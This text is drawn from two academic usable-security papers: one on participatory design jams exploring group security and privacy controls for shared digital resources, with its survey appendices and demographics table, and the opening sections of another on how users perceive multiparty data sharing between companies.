ensuring that all members are held accountable for making
payments. Another group explained why having one’s credit
card at stake could serve as motivation to increase group S&P:
“I feel like it’s linked to your finances; you might be a little
more incentivized to respond to an alert like that if it’s linked
to your credit card account” (H1).

Group G (Colleagues) also discussed using loosely-defined
“sensitive information” as collateral: “...Everyone has to put
in sensitive information. More liability equals increased re-
sponsibility, so basically mutually assured destruction if one
person kind of leaks the info” (G1). This parallels prior re-
search on social network systems; users can only control what
they share and not what others share [28]. If acting in a neg-
ligent manner, the group member not only risks their own
security, but also that of the group’s. This mutual liability may
motivate the group member to comply and act as a cohesive
unit.

4.1.4 Promoting Pro-Group S&P Behaviors

The fourth design consideration involves encouraging proac-
tive or preventative S&P behaviors among individual group
members for the benefit of the group4. While encouraging
stronger S&P behaviors is a common consideration in re-
search and practice, our findings provide insight into how
groups might formalize this encouragement through design.

Watson et al. found that groups’ strategies for securing their
shared resources depended on individual members’ S&P prac-
tices. Further, they found that individual members also had im-
plicit, unspoken agreements to secure their shared resources,
but that these implicit agreements often led to frustration and
inequity [52]. We found that while designing group S&P con-
trols, many groups considered more explicit mechanisms to

4We refer to this as “pro-group”

motivate each member’s S&P behaviors, including: (i) non-
binding agreements, (ii) social pressure, and (iii) rewards and
penalties.

Non-binding agreements Non-binding agreements are ex-
plicitly agreed upon pro-S&P rules, policies and/or best prac-
tices each group member agrees to abide by, absent of formal
oversight and consequences. Non-binding agreements were
common in the colleague’s scenario. Group E (Colleagues)
discussed having strong corporate policies, appropriate train-
ing, and stringent security standards, with E2 noting “It’s the
low brow non-tech protocols that really make a difference”
(E2).

Two colleague teams (Groups G & I) from different work-
shops had similar final ideas around implementing a “security
score.” Both systems involved assigning a numeric score to
individual S&P behaviors and providing personalized feed-
back for improvement. During their demo, Group G noted
that attaching values to security habits can help the individual
to self-correct: “Basically, our idea is analogous to the credit
score...if we can put quantifiable numbers...it gives us some-
thing to hang our hat on and actionable recommendations
and steps to take to beef up our security as a whole, on an
individual accountable level” (G1). Group I also hoped that
a personalized security score might motivate the individual
to improve on their own: “Hopefully it’s to facilitate better
habits...What you’re doing is you’re trying to instill good
habits in that person but he has to learn. It’s up to him or her
to learn that” (I2).

Social Pressure Social pressure broadly encompasses the
use of competition and social comparison to promote better
individual S&P practices. Similar to social transparency, this
finding echoes recommendations from prior research [13, 20],
but contextualizes it within the context of S&P controls for
small, social groups.

Groups used competition as a pressure strategy. Group I
(Colleagues), for example, discussed using competition and
leaderboards to incentivize individuals, as well as sub-groups
within larger groups (e.g., departments within a company), to
engage in pro-group S&P behaviors.

Participants from Group F (Roommates) discussed rating
each group member in their prototype as a form of social pres-
sure. “We have a rating system for each and every roommate
that is there. So all other roommates rate the person that can
be visible on your account page” (F1). These ratings followed
each user from one sharing group to another; the visibility of
the ratings and the need to be regarded positively by others
served as a way to incentivize users to “act accordingly.”

As one participant mentioned, “For us it was just about
using light peer pressure to motivate individual habits” (I4).
Similarly, I1 stated, “shame works”, echoing prior working
by Das et al. [13] who found that pranks and demonstrations
were a common trigger for pro-S&P behaviors.
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Rewards and Penalties Using rewards and penalties,
groups employed positive and negative reinforcement as a
means of influencing individual members’ security behaviors.

Both groups G and I talked about rewarding members (i.e.,
employees) who exhibited pro-S&P behaviours. Group G
(Colleagues) noted: “It’s up to the company to decide [how
to] incentivize their employees with certain perks, like maybe
bonus or like other...gift cards, something like that.” (G3).
Similarly, in Group I’s (Colleagues) solution, group members’
security scores could be used to reward individual employees
or entire departments: “...And this could be tied to incentives
like an Amazon gift card for the department that has the
highest security average over the quarter or, you know, maybe
a pizza party for that department, something like that” (I4).
Note that only colleague groups leveraged rewards in their
final solutions.

Group G and I discussed using the security score to de-
termine penalties. Group G (Colleagues) commented: “ ...re-
versely if they’re not scoring so high, you could kick them out
of the group, fire them, dock their pay” (G1). Group J (Family)
considered age to be an important element of their design, and
talked about revoking privileges for younger members as pun-
ishment or as a means of grounding. Group F (Roommates)’s
prototype also had a strike feature where members could vote
to give a member a strike for improper S&P behavior.

4.2 RQ2. Design Trade-Offs and Challenges

Having distilled a core set of design considerations for social
S&P controls, we next explored the perceived trade-offs and
challenges of systems that feature these designs from the end-
user perspective. Overall, we identified four such challenges:
security vs. privacy, herding behavior, security vs. social fric-
tion, and coordination costs.

4.2.1 Security vs Privacy

Several ideas to improve group security resulted in the loss
of individual members’ personal privacy. Participants often
discussed how increased social transparency can violate what
group members feel comfortable sharing [6, 56], brandishing
surveillance in the name of oversight.

We found friend groups preferred to minimize monitoring
out of respect for their group members’ privacy and indepen-
dence. “Since we were friends...we wanted something that
wasn’t invasive...we’re living separately so we’re not hanging
around each other all the time. Therefore, we don’t want to
be responsible [for] constantly moderating what other people
are doing. ”(K3)

Colleague scenarios were also sensitive about individual
member privacy. Group G (Colleagues) were particularly
keen to set strict boundaries on what types of activities an
employer could monitor, even if these behaviors might pose
actual security risks: “Because we were a business organi-

zation..., we drew red lines [around] an employee’s internet
profile or social media activity. We thought that the red line
was companies...infring[ing] on [an employee’s] personal
time, even though that might have—from a security standpoint
— vulnerabilities.” (G1). Group I (Colleagues) also restricted
which scores employees could view, prohibiting a search func-
tionality that could directly reveal the security score of their
peers.

On the opposite end of this spectrum, families demonstrated
the fewest qualms in monitoring other group members. One
participant went so far as to remark that their solution was
“like Big Brother for your family” (J5).

Overall, we see that although participants value information
attained through social transparency, the benefits must be
weighed against the infringements to individuals’ privacy.
Moreover, tolerance of such infringements varies between
group types.

4.2.2 Social Herding

The ability to see how other group members have voted or
acted in shared governance structures can inhibit the kind of
independent thought necessary for group deliberation. This is
known as “herd behavior,” whereby people make decisions
through imitating others’ behaviors rather than on the basis of
their own opinion. Group H’s prototype illustrates how this
challenge might stifle deliberation: “Sarah’s device tried to
make a 500 dollar purchase at amazon.com and then people
can go in and approve or disapprove that transaction...And
you can see how many people have already approved it” (H1).

Previous research in social navigation and end-user S&P
suggests that knowing the security decisions of a community
of users can help advise those who are unsure in their se-
curity and privacy decisions [23]; however, there are a few
differences that render this model inadequate for small group
security. For one, the size of small groups is often not large
enough; it works best when decision behaviors are aggregated
over a significant pool of users. Moreover, the decisions being
made in small groups are often circumstantial (e.g., Sarah’s
one-off purchase of 500 dollars) and should be considered on
a case-by-case basis, not necessarily by precedent.

4.2.3 Social friction

Groups had to weigh the importance of maintaining social
order and a good standing with each other against the require-
ments of certain security measures.

Group H (Family) discussed the potential friction that could
occur if permissions were required from spouses for pur-
chases: “It would be irritating to have to get authorization
from your wife” (H2). Their resolution was to enforce dollar
amount thresholds for purchases: e.g., a $10 purchase may
not require approval but a $500 one might. Participants also
discussed how penalties could lead to deteriorating relation-
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ships. Group F’s (Roommates) strike system — used to lock
individuals out of group resources if they exhibited poor S&P
behaviors — led to a spirited exchange among participants
as to how this feature might antagonize group members and
negatively impact inter-group relationships.

H3: Okay, so suppose it’s four roommates you’ve
got and two of the roommates are boyfriend-
girlfriend, and then one of them actually did some-
thing to deserve the strike. And the other two [room-
mates] struck down but well, that’s my girlfriend,
I’m not going to strike her. How do you handle
that?

F4: In that scenario...if you really believe that that
person is a security threat, then you can just cut
both of them out. Like, you could just change your
guidelines...you can change your subscription rules.
Like, just make it so you’re only splitting with the
one person who wasn’t boyfriend-girlfriend...

G2: How do you not lose friends?

H3: Yeah, I was thinking about that.

F4: I mean, the odds of getting a strike — the strike
system is more for people who aren’t as much like
super good friends, because if you’re super good
friends, odds of you — one being an insider threat...
is very slim...

F2: We also have the rating system. So the rating
system can be like, who we can include as an extra
person before you have those strikes involved. So
it’s like you can put like someone’s rating a little
bit lower rather than strike them out.

Here, Group F considered their rating system as an interme-
diary method to incentivize pro-S&P behaviors and strikes as
a last resort. In an ideal scenario, no one would need to get a
strike and there would be harmony but, if needed, their strike
system was in place to handle serious breaches of shared
policy.

These discussions around social friction also led to con-
versations around what would happen if the social order was
to break down. For instance, Group H wondered how mem-
bers might abuse a strike system by initiating revenge strikes
on one another. Group J noted the fragility of the group and
it’s security very aptly: “...And if that trust is violated, you
know what can happen? If it could be really fragile, someone
gets mad at someone and boom everything is...your security
is...compromised. So that’s a difficult thing to try to mitigate
and figure out without making this too difficult for users and
over-designing and being too protective” (J4).

The line between security and social friction must be care-
fully drawn in order to maintain an effective, social pro-group
S&P system.

4.2.4 Coordination Costs

Design considerations like shared governance and stakes and
responsibility helped groups more equitably manage their
shared resources; however, they also presented coordination
costs of time, synchronicity, and social burden.

For example, there may be an unbearable time-delay be-
tween requesting for and being granted access to a resource:
“What happens if none of them [group members] are awake
or if you’re logging in from another part of the world and the
timezone doesn’t work?” (K5). In addition, rotating respon-
sibility may introduce additional overhead and coordination.
Participants were quick to recognize the inefficiencies that
arise as a result of trying to include all members in security
decision-making. Resources that require acute, just-in-time
access may not be as appropriate using synchronous group
authentication.

Another group that utilized group approval and authentica-
tion also faced the challenge of not being overly burdensome
to other group members: “’A lot of the ways we were thinking
about group security...required multiple people interacting.
Which...could be really burdensome sometimes: do I really
want my colleague to authenticate every single time I want to
see a file?” (I4).

For colleagues, the answer appeared to be no. But for
friends, family and roommates, various concessions were
made. Group K’s approach issue was to allow for restricted
and temporary access to the group member until being au-
thenticated by the group: “If you’re logging into Hulu [with-
out group authentication], it’ll somehow disable account
settings or it’ll disable your account’s personal library or
something...if they want to watch something on Hulu, they
[still] can...but they can’t go in and like change the pass-
word...There’s like a 24-hour grace period so you can stay
logged in 24 hours without being authenticated. And then
you’ll get kicked off after that, and then you won’t be able to
log back in without getting authenticated.” (K5) Additionally,
Group K also only required one other member to authenti-
cate a login request versus requiring multiple members. They
also noted that the fewer members in the group, the more
burdensome asynchronous coordination would be.

On the other hand, Group C (Friends) recognized that their
tool required extra steps and involvement, but decided that
stronger security outweighed any inconvenience. “For ours
because its a Facebook account and maybe like, three-factor
verification might seem overboard, but these days, like, every-
thing is so connected, like, people’s accounts are connected
to other accounts. Your Facebook might be connected to your
Whatsapp. Everything is so interconnected. So you can get
to any of the other accounts through access into what may
seem like the weakest point of entry, so I think it’s okay to go
overboard...” (C2)

Overall, many of the social S&P controls participants de-
signed introduced coordination costs. Prior work suggests
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users reject security solutions that impose significant time
delays [19]. While it is unclear how that result translates to
the group context, the challenge remains and must be weighed
against the benefits of more social designs.

5 Discussion

To summarize, through a series of participatory design jams,
we explored the design space of social S&P controls for
shared digital resources (RQ1) along with the trade-offs and
challenges therein (RQ2). We consider our core intellectual
contribution to be the synthesis of design knowledge entailed
by the ideas our participants generated — not the ideas in
and of themselves. We also note that while some of our find-
ings mirror and extend prior findings in related disciplines,
our work is — to our knowledge — the first to synthesize a
design space for social S&P controls for small, social groups.

The social S&P controls that our participants ideated
spanned four design dimensions: social transparency, or the
desire and need for greater visibility into and oversight over in-
dividual group members’ S&P-relevant behaviors; structures
of governance, either egalitarian or hierarchical depending on
the nature of the group, as a way to facilitate group decision-
making on S&P-relevant matters; stakes and responsibility,
or mechanisms for distributing S&P responsibility among
team members proportionate to each member’s stake in the
shared resource; and, promoting pro-group S&P behaviors, or
incentives and penalties to encourage pro-group S&P behav-
iors, such that every member’s individual efforts would level
up the entire group’s security as a whole.However, although
we expect the design space we uncovered to capture most
shared digital devices and resources, we do not claim that our
findings will necessarily apply to all shared digital resources.

With these design considerations came new trade-offs and
challenges. Systems that increased social transparency and
that explicitly codified rewards and punishment for individual
S&P behaviors do so at the expense of individual privacy and
by increasing social friction among group members. Systems
that required participation from all group members to pro-
vide access to a shared resource or to make important S&P
relevant decisions (e.g., allowing a new member to join the
group) raised concerns of herding behaviors and/or coordi-
nation costs. In short, while the design dimensions we have
identified provide ample room for design innovation for so-
cial S&P controls, we must foreground these trade-offs and
challenges in our evaluation of novel social S&P designs.

5.1 Design Implications

5.1.1 Accounting for Group Dynamics

Different group types weighed the social design dimensions
we identified differently in their concept designs. Accordingly,

it is important to consider group dynamics in the design of
novel group S&P controls.

Families preferred hierarchical governance in which one
or more authority figures took sole charge of S&P relevant
decisions (e.g., parental controls, approval privileges, etc.).
Our results show family groups acknowledged the need for
simple systems that support a wide variety of technical ex-
pertise (novices and experts) and implemented features such
as ’parental controls’. Friend groups preferred more leniency
in their S&P enforcement measures, opting for non-punitive
measures, limited surveillance and monitoring, and unobtru-
sive access to shared resources. Solutions for friend groups
were also generally cooperative and featured egalitarian gov-
ernance structures. For roommates, increased social trans-
parency was a recurrent feature to curb insider-facilitated
outsider threats. Roommates leaned towards egalitarian gov-
ernance but were generally motivated to protect self-interests.
Finally, colleague groups favored evaluative systems with hi-
erarchical governance, in which managers could incentivize
employees to encourage individual pro-group S&P behaviors.

To account for these varying preferences, social S&P con-
trols might be designed to be customizable based on group
type, or explicitly designed for a specific group type. For ex-
ample, while parental controls could make sense for some
families, a process for collecting collateral may make more
sense for roommates with low trust.

5.1.2 Balancing Access and Power

While the results of the design jams primarily speak to de-
signing controls for groups whose threats are outsider threats
(insider-facilitated or otherwise) [52], it is also important to
consider insider threats from within the group. For example,
excess social transparency could be a form of stalkerware for
domestic partners in an abusive relationship.

More generally, it is important to actively identify and safe-
guard against conditions that reinforce imbalances in access
and power [9, 56]. For instance, how might members with
high levels of technical literacy suppress the agency of those
who are less technically savvy? What if all members are not
equally informed about the extent of socially transparent ac-
tivity tracking and have not truly consented for others to view
their activity? Should group members who have had shared
access for a certain amount of time be granted adverse posses-
sion of squatter’s rights to those resources? Not all of these
scenarios can be addressed purely through design, but design-
ers should account for these scenarios at the onset to help
ensure the system does not facilitate undue harm onto users.

5.1.3 Developer Tools to Facilitate Implementation

A steady stream of research has called for the design of more
social cybersecurity systems [6, 10, 13, 52]. A key barrier to
realizing this vision, however, is the lack of developer tools to
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facilitate the implementation and evaluation of such systems.
In short, we need usable developer tools that simplifies the
prototyping of social S&P controls.

The design dimensions we have uncovered in this work
should prove a useful starting point in creating such tools.
Existing technologies can be leveraged to implement many of
the ideas our participants envisioned. For example, egalitarian
governance may be securely realized through Zhang et al.’s
PolicyKit system [57] that allows for democratically deter-
mined forms of governance in social computing platforms. It
may be possible to expand on this system to achieve shared
governance over the S&P of shared resources more broadly.
Likewise, it should be possible to get the effects of social
transparency and community oversight without requiring indi-
viduals to reveal private information by using smart contracts
on, e.g., the Ethereum blockchain [3]. In such a system, one’s
activity logs might be kept local but might be checked against
previously agreed-upon group policies.

6 Limitations & Future Work

In designing, recruiting for, and conducting our study, we
encountered a number of limitations that should be considered
to contextualize our findings.

First, while we strove to have a balanced representation
between all group types, 21 participants were unable to make
the study after being scheduled for a design jam. As a result,
the ‘Friends’ social group had less representation in our de-
sign jams than the other three social groups. We had initially
intended to run an additional workshop to address this imbal-
ance, but were unable to do so due to restrictions put in place
as a result of the COVID-19 pandemic. Nevertheless, the data
from the four workshops we did conduct should provide a
solid foundation on which future work can build.

Maintaining a representative sample was also difficult in
this study. Although we targeted a broad set of people who
share digital resources in small social groups, most of our
participants were students or young adults. We suspect that
people from older age groups likely require greater compen-
sation than what we could provide to attend a two-hour long
workshop after work hours, or may have care responsibilities
that preclude their participation. Moreover, it is difficult to
synchronize the schedules of all workshop participants which
could have also posed as a barrier to participation to certain
demographic groups.

It’s also important to note that many of our participants
were not security or design experts — this was an intentional
choice on our part, as participatory and co-design processes
require end-users who are “experts of their experiences” to co-
operate creatively with technical experts [46]. To compensate
for their lack of technical knowledge, we played the role of
“technical expert” and guided participants through the brain-
storming and prototyping process so that they could still pro-
ductively contribute. Furthermore, participants came into the

workshops as strangers. While they were asked to draw from
their personal experiences of sharing digital resources with
similar groups, designing with strangers likely added a layer
of abstraction into participants’ ideation. The specific ideas
generated were just concepts we used as a design lens to
synthesize design implications and are not strict recommenda-
tions. Nevertheless, our findings provide a useful first step in
codifying the design space of for social S&P controls. Future
work — perhaps in collaboration with industry partners who
can more easily access a broad spectrum of participants —
can refine this design space by broadening participant repre-
sentation. We envision our proposed design space as a catalyst
for future innovation and a guide for implementing and evalu-
ating novel social S&P controls for shared digital resources.

7 Conclusion

Through a codification of ideas produced in participatory de-
sign jams, we found that there are four key design dimensions
to consider in designing social S&P controls for shared digi-
tal resources: (i) that social transparency is important to all
group types and a means of maintaining a sense of control
over a collectively owned and shared digital resource; (ii) that
groups enact either an egalitarian or hierarchical structure of
governance to collectively manage their S&P; (iii) that groups
want ways for all members to be invested in the S&P of the
group and use collateral or rotating responsibility to equalize
stake; and, (iv) that groups want to implement mechanisms to
promote positive S&P behaviors in individual members, thus
improving security for the group as a whole.

In considering these design dimensions to brainstorm novel
small group S&P controls, we also identified trade-offs that
were made and new challenges that arose: balancing indi-
vidual privacy with group need for transparency; mitigating
social herding tendencies; diminishing social friction that
may occur through making explicit the group’s S&P rules and
policies; and, managing costs that arose from asynchronous
coordination. Lastly, we reflected on participants ideas and
how group type influences the relative weight of the aforemen-
tioned design dimensions, argued for the need to get ahead
of potential problems with access and power, and discussed
the feasibility of implementing these ideas using existing
technologies. In short, our work provides a strong foundation
for future innovation in building end-user S&P controls for
digital resources shared among small, social groups.
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A Design Jam Materials and Surveys

A.1 Screener Survey
1. Are you 18+?

2. Do you share digital devices (e.g. Computer, phone,
Xbox, Amazon Echo etc.) or digital accounts (e.g. Net-
flix, Bank account, Instagram, GroupMe, Google Drive
etc.) with any of the below social groups? Select all that
apply.

3. Are you a designer or developer?

4. Are you available to participate in this study on any of
the following workshop dates?

5. Name?

6. Email?

7. Phone Number?

A.2 Workshop Exit Survey
1. Which group’s solution is most relevant to your personal

experience?

2. Why is <insert solution selected> solution relevant to
your personal experience?

3. Please describe a scenario you would use <insert solution
selected>?

4. Optional demographic questions (Age, Gender identity,
Ethnicity, Education Level, Employment Status)

A.3 Workshop Discussion Questions
1. What S&P principle does your idea fall under? Why?

2. How did your specific group scenario/dynamics impact
your design decisions?

3. Consider the different resources your group shares. Does
your idea help with all, one, or some of the resources–
why?

4. Did you determine security needs based on the type of
resource? If yes, how?

5. What might make your system easy or hard to use? (lim-
itations?)

6. As a <user/designer/developer> what was easy about
brainstorming and designing a group security solution?

7. As a <user/designer/developer> what was difficult about
brainstorming and designing a group security solution?

A.4 S&P Cheat Sheet for Participants
A.4.1 Security & Privacy

1. Security: Refers to how your personal information is
protected.

2. Privacy: Relates to any rights you have to control your
personal information and how it’s used.

A.4.2 Group Cybersecurity Principles

1. Observability: Making it easy for people to observe and
emulate good security behaviors. Example: Someone
observes their friend using a password manager, then
decides to use one as well.

2. Cooperation: Allowing people to act together for mutual
security benefits. Example: Users of a website can leave

“notes” for future users about the safety and security of
that site OR People collaborating to condense lengthy
and dense terms of service into quick, easy-to-read bullet
points.

3. Stewardship: Allowing people to act on behalf of others’
cybersecurity benefits. Example: Helping a friend set up
their wireless router.

A.4.3 Group Threat Opportunities

1. Insider Threats: Threats from within the group. Exam-
ple: Someone screenshotting a private image sent to the
group.

2. Outsider Threats: Threats from outside of the group.
Example: A stranger uses your laptop that you’ve left
open.

3. Insider-facilitated Outsider Threats: Threats from out-
side that are made possible by the actions of insiders.
Example: A member of a group shares the account pass-
word with someone outside the group.

B Participant Demographics
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ID Age Gender Race Education Employment ID Age Gender Race Education Employment

A1 25-34 M B M.S. FT G1 35-44 M A PD FT

A2 35-44 F NA M.S. U G2* 25-34 M H B.S. S

A3 25-34 F B M.S. FT G3* 18-24 F A SC FT

A4 18-24 M O B.S. U G4* 25-34 F W M.S. S

B1 18-24 F A B.S. S H1 18-24 F A S.C. S

B2 25-34 M B SC FT H2 25-34 F W B.S. FT

B3 18-24 M A M.S. S H3 45-54 M B PhD FT

B4 25-34 F W M.S. S H4* 25-34 M W B.S. S

C1 25-34 M B SC FT I1* 25-34 M A B.S. S

C2 25-34 F B M.S. FT I2* 18-24 F A SC S

C3 25-34 F B B.S. FT I3* 18-24 F W SC S

D1 25-34 F W B.S. FT I4 35-44 M W M.S. FT

D2* 35-44 M B SC FT J1 35-44 F A M.S. S

D3 25-34 M NA SC S J2 18-24 F W SC S

E1 18-24 F A SC S J3 25-34 M W SC FT

E2* 35-44 M W PD FT J4 35-44 M W SC FT

E3 25-34 M A M.S. S J5 35-44 M B M.S. FT

F1 18-24 M A B.S. S K1 18-24 M NA M.S. S

F2* 18-24 F A SC S K2 25-34 M A PhD S

F3* 18-24 M A HS S K3 25-34 M W M.S. S

F4 18-24 M A HS S K4 18-24 M A SC S

K5 18-24 M A SC S

Table 3: Participant Demographics. Columns include Participant ID, Age, Gender, Race, Education and Employment. Race
abbreviations: (Black, White, Asian, Hispanic or Latino, Other and N/A i.e declined to state). Education abbreviations: (High
School Graduate, Some College, Bachelors , Masters , Professional and Doctoral ). Employment abbreviations: (Full Time,
Student, Unemployed). * - participant assigned to a group type they did not share resources with (per their screener survey
answers)
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Abstract
Data sharing between companies is typically regarded as

one-size-fits-all in practice and in research. For instance, the

main source of information available to users about how a

company shares their data is privacy policies. Privacy policies

use ambiguous terms such as ‘third-parties’ and ‘partners’

with regard to who data is shared with. In the real-world,

data sharing has more nuance than is captured by these over-

arching terms. We investigate whether users perceive different

data sharing scenarios differently through an online survey

with scenarios that describe specific types of multiparty data

sharing practices. We determine users’ perceptions when ex-

plicitly presented with how their data is shared, who it is

shared with, and why. We show that users have preferences

and that variations in acceptability exist which depend on the

nature of the data sharing collaboration. Users caring about

sharing, necessitates more transparent sharing practices and

regulations.

1 Introduction

Collaborations and contracts between companies increasingly

involve the disclosure of data. Mastercard sold a stockpile of

transaction data to Google to track whether Google ran ads

that led to a sale at a physical store [9]. Data moving between

companies is not limited to direct sales or targeted adver-

tising. Data sharing can also occur through the purchase or

merging of companies such as Google purchasing Fitbit [26].

Although Google’s purchase of Fitbit includes a statement

that the health and wellness data will not be used for Google

advertising, it does not clarify how other data could be used

and whether the health and wellness data can be used in ways

not related to advertising. Through a legal request one user de-

termined Tim Hortons’ loyalty program app shared its users’

precise location regularly with a third-party (Radar Labs Inc.)

that identified users’ home, work, travel destinations, as well

as visits to a competitor. The third-party ultimately shared the

users’ precise locations with Tim Hortons’ parent company,

Restaurants Brand International [46].

There are even collaborations between technology and

health companies that can and do occur. There are collab-

orations between Google and Ascension [69], Microsoft and

Providence St. Joseph Health [12], and COVID-19 contact

tracing tools [29]. Some of these collaborations only include

the use of services, but others require sharing data in some

form to perform computations, including machine learning.

In addition to these forms of collaborations, the line divid-

ing health and technology companies is blurring with the

development of new services such as Amazon Care1 and

Telus Health2. Amazon’s health care service specifies that

patient information is exclusively used for supporting Care

Medical, however, it is unclear how this could affect users’

understanding and perceptions of health care data being used

by technology companies.

We refer to companies that acquire or share data in these

ways as collaborating for multiparty data sharing. Mecha-

nisms to perform privacy-enhanced multiparty data sharing

exist in the literature as secure computation, such as private set

intersection [13, 62] and federated machine learning [47, 73].

While companies, such as Microsoft and Google, may choose

to use privacy-enhanced computation in their collaborations,

how to convey these practices fairly to users and indeed how

users feel about enhanced computations is a question we

address within this paper. Multiparty data sharing can be one-

way, where only one of the companies in the exchange ac-

quires data, two-way where the parties involved pool their col-

lective data, or an exchange involving more than two-parties.

Although privacy policies should contain information for

users about the data a company collects and how that company

uses the data, such documents are hard to read and rarely

read, making them inaccessible to users [44, 56]. Users who

trust one company with their data may not understand that

their data could be shared or purchased nor the corresponding

privacy risks. However, it can be confusing for people reading

privacy policies about sharing their data to understand what

their data will be used for and make informed decisions based

1Available across the United States, https://amazon.care/
2Manages Canadian health care records, https://www.telus.com/en/health

USENIX Association 31st USENIX Security Symposium    899

https://amazon.care/
https://www.telus.com/en/health


on their perceptions of it.

Research Questions. We study users’ perceptions of mul-

tiparty data sharing via an online survey. We analyze users’

perceptions of various data sharing events (termed as scenar-

ios), what potential controls users want, and identify avenues

for improving regulations and engineering better systems to

meet those needs. To this end we address the following re-

search questions (with salient results emphasized):

RQ1: How does the overall acceptability vary across differ-

ent types of multiparty collaborations? How do the types of

companies involved further impact it?

The overall acceptability of multiparty data shar-

ing is lower for collaborations that are not recip-

rocal. The inclusion of a health company in non-

reciprocal collaborations is even less acceptable.

(Section 4.2).

RQ2: How does acceptability vary in multiparty data shar-

ing for different user controls (consent, purpose, retention)?

Across user controls, preferences for consent vary

the most between collaboration types, however, opt-

in consent is, generally speaking, the most accept-

able. (Section 4.1 and 4.2)

2 Related Work

Privacy Perceptions. Users’ perceptions of privacy have

shown many changes over the years and so have their prefer-

ences [3, 17, 35]. Past work has often focused on data sharing

for advertising purposes [15, 45, 77, 80], with the additions

of privacy perceptions for IoT, mobile, and smart homes in

more recent years [4,24,39,51,74,78]. Regardless of whether

the data is shared intentionally or unintentionally leaked via a

data breach, user perceptions tend to perceive such treatments

of their data negatively [25, 31, 43, 45, 64, 72].

Even when a users’ data is only disclosed to a single com-

pany, different contexts influence what trade-offs users are

willing to make at the expense of their privacy in terms of

benefits, or how their data is being used [5, 7, 8, 19, 53, 76].

Further complicating matters are ‘third parties’ or ‘partners’

that data can be shared with. Users do not understand what

these third parties are and how their data can be shared with

these parties [64]. In cases where such terms are used in a

privacy policy, it can remain ambiguous to users as to who

their data can be shared with and thus prevent them from

making an informed decision [22, 41].

In general, survey methodology research cautions that re-

spondents may have difficulty predicting their behaviour or

be inclined to report the perceived desirable response [63]. In

the case of security research, recent work from Redmiles et

al. [65,66] shows that surveys can provide meaningful results

for general constructs. We use a similar survey design to pre-

vious work on acceptability for IoT and data breaches [4, 32].

Thus far, research has primarily treated third-parties or part-

ners in much the same manner as privacy policies do. Third

parties are treated as monolithic black-box entities that can

take many forms and treat data in different ways. Ebert et

al. [20] include ‘data sharing’ among the legal principles of

their study, but again it is left as a general concept. In this

work, we build on past investigations into user perceptions

of data sharing by specifically providing respondents with

scenarios based on real-world examples of how their data

could be shared with one or more other parties. We revisit

whether policy and design decisions relating to these contin-

ually evolving multiparty data sharing scenarios can rely on

past results, or whether different structures of data sharing

result in different perceptions that need to be addressed.

User Controls and Accessibility. Though not strictly tar-

geting the multiparty data sharing setting, methods to pro-

vide users with controls include toggles [28], permission set-

tings [33, 40], and privacy nudges [2]. Despite this, such con-

trols can still be hard for users to understand and use [1, 2,

6, 21, 24, 27, 67]. Difficulties associated with providing users

with controls to set their own privacy preferences are not

limited to the design of such controls. That is, users can be

manipulated or tricked such that opting out of behavioural

based advertising is limited [27, 38]. With this in mind, we

specify explicitly details users may want to have user controls

for in the survey. These aspects for potential controls include

what purposes users find acceptable for their data, how they

want to be informed (to get consent), and how long they will

permit their data to be used in this way.

Park and Sandhu proposed usage control to generalize these

controls and the idea that beyond privacy policies for all users

there can be individual controls required for each user [60,61].

Ebert et al. [20] referred to usage control variables such as

storage and retention as legal preferences in their analysis.

They do not focus on types of data sharing, but instead on

the effect of the contexts of a fitness tracker versus a rewards

card. Similar to Park and Sandhu’s application to social media

controls, in the case of multiparty data sharing, there are many

potential parties that users may or may not want to share their

data with and the type of data they are willing to share may

vary for different companies [60].

Law and Policy. There are a number of regulations, both

old and more recent, that apply to the privacy of users’

data [16, 54, 58, 68]. However, they do not necessarily pro-

vide protections for all of the possible treatments of users’

data [42, 57]. Even with the recent California Consumer Pri-

vacy Act (CCPA3), the right to opt-out of data sales does not

3https://oag.ca.gov/privacy/ccpa
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X Y: X provides data to Y

X Y: X and Y provide data to each other

X    Y: X acquires Y

X+Y : X merges with Y

X: scenario indicated you are a user of X

V) Validation 1) Two-Way Two-

Party Exchange

2) One-Way Two-

Party Exchange

G:

Advertiser

Retail

CreditCard

3) Many-to-one 

Exchange

Tech

H:

Advertiser

Retail

CreditCard

Health

C:

Tech Health

D:

Health Tech

4) Acquisition

I:

Tech      StartupA

J:

Health      StartupA

5) Merger then acquisition

K:

Tech      StartupA+StartupB

L:

Health      StartupA+StartupB

A:

Tech Health

B:

Health Tech

E:

Tech Health

F:

Health Tech

Figure 1: Overview of scenarios (A-L) presented in our survey and collaboration types (V, 1-5) that we investigate. For reference,

Scenario C, “TechForYou is a large internet company that offers a search engine, email accounts and smartphone platforms

to users. GoodHealth runs a chain of hospitals across the country and stores health data for millions of patients during its

day-to-day operations. TechForYou and GoodHealth will share the customer data they hold with one another. You are a customer

of TechForYou".

stop companies from manipulating users such that it is diffi-

cult or unappealing to opt-out [57]. Furthermore, it can only

prevent companies from selling users’ data, it does not pre-

vent companies from sharing or exchanging data with other

companies or affiliates. Multiparty data sharing needs to be

better understood with respect to user preferences and per-

ceptions to produce more specific regulations addressing all

types of collaborations.

3 Methodology

We collected 1025 responses to our online survey through

SurveyMonkey in March 2021. Each participant was com-

pensated $3.04 for their response and spent, on average,

four minutes to complete the survey. Our final participant

set is N = 916 after excluding the 109 respondents that

failed an attention checking question. Respondents could

exit the survey at any time and could skip any question in

the survey. Our study received ethics approval from our in-

stitution’s office of research ethics (ORE). See survey at

https://bkacsmar.github.io/files/SurveyUsenix2022.pdf.

3.1 Survey Design

Prior to the final survey, we ran a pilot study with N = 26

participants. We asked participants in the pilot study what

they would agree to in a multiparty data sharing setting. The

pilot had one scenario, between a technology company and

a financial institution, to introduce the concept of multiparty

data sharing. We used a free-form text response question to

gather participants initial thoughts on this scenario and what

could influence their perceptions. Our pilot study free-form

responses report a desire for user controls that we incorporate

into our final survey.

3.2 Survey Structure

Each survey provides one of twelve scenarios to respondents

followed by a series of questions on user controls and pri-

vacy mechanisms. The twelve scenarios are categorized by

the number of companies and which companies send and re-

ceive data (see Figure 1 for an overview of the scenarios).

Each collaboration scenario is based upon real-world exam-

ples from Canada and the United States. For each question,

excluding the free-form responses and correctness checks,

respondents select a value from a five-point semantic dif-

ferential [59] acceptability scale: “Completely Unaccept-

able", "Somewhat Unacceptable", “Neutral", “Somewhat Ac-

ceptable", and “Completely Acceptable" as in Apthorpe et

al. [4]. Respondents rate acceptability given specified vari-

ables (shown as (a) through (k) in Table 1). For analysis, the

values we assign to our scale are 1-5 where 1 is “Completely

Unacceptable" and 5 is “Completely Acceptable".
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3.3 Nature of Collaboration

